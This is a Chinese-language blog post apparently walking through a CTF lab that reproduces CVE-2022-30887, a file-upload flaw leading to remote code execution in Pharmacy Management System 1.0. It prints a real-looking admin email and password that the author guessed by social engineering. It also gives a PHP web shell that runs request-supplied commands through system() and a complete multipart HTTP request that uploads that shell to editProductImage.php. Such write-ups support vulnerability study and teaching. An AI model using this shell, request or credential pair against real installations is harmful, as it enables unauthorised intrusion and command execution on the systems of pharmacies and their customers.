【漏洞复现】Pharmacy Management System远程代码执行漏洞(CVE-2022-30887)

Pharmacy Management System远程代码执行漏洞(CVE-2022-30887)


0x01 靶场介绍

多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的,该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。

0x02 漏洞描述

Pharmacy Management System是一个多语言药房管理系统。

Pharmacy Management System v1.0 版本存在远程代码执行漏洞,该漏洞源于组件/php_action/editProductImage.php未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。

0x03 详细步骤

进入靶场,界面如下:

忘记密码功能无法使用,弱口令也无果,密码总显示错误。

发现下方作者链接可以跳转:

进而发现系统的源代码可以下载:

下载地址:https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download

然后看到了作者的邮箱地址:

(这个弹窗一开始没注意到,不用点×,点其他地方一下子就没了,容易忽略)

通过邮件收到作者发来的源码时,也可以看到作者邮箱地址(有延迟):

(可以通过源码尝试进行代码审计。。。)

这里利用作者的邮件和名字社工密码,最终找到正确的账号密码:

email:mayuri.infospace@gmail.com
password:mayurik

成功登录:

进入后台,发现文件上传点:

随便填一下:

shell.php:

<?php
if($_REQUEST['s']) {
  system($_REQUEST['s']);
  } else phpinfo();
?>

上传成功:

右击图片复制图片地址
找到文件上传地址:http://xxxxx.cloudeci1.ichunqiu.com/assets/myimages/shell.php

访问成功:

添加payload命令执行,找到flag

0x04 POC

地址:https://packetstormsecurity.com/files/166786/Pharmacy-Management-System-1.0-Shell-Upload.html

根据靶场php_action/editProductImage.php提示,修改POC:

# POST /dawapharma/dawapharma/php_action/editProductImage.php?id=1 HTTP/1.1

POST /php_action/editProductImage.php?id=1 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631
Content-Length: 559
Connection: close
Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel
Upgrade-Insecure-Requests: 1

-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="old_image"

-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: image/jpeg

<?php
if($_REQUEST['s']) {
  system($_REQUEST['s']);
  } else phpinfo();
?>
</pre>
</body>
</html>
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="btn"

-----------------------------208935235035266125502673738631--

posted @ 2023-03-14 22:51  0dot7  阅读(441)  评论(0编辑  收藏  举报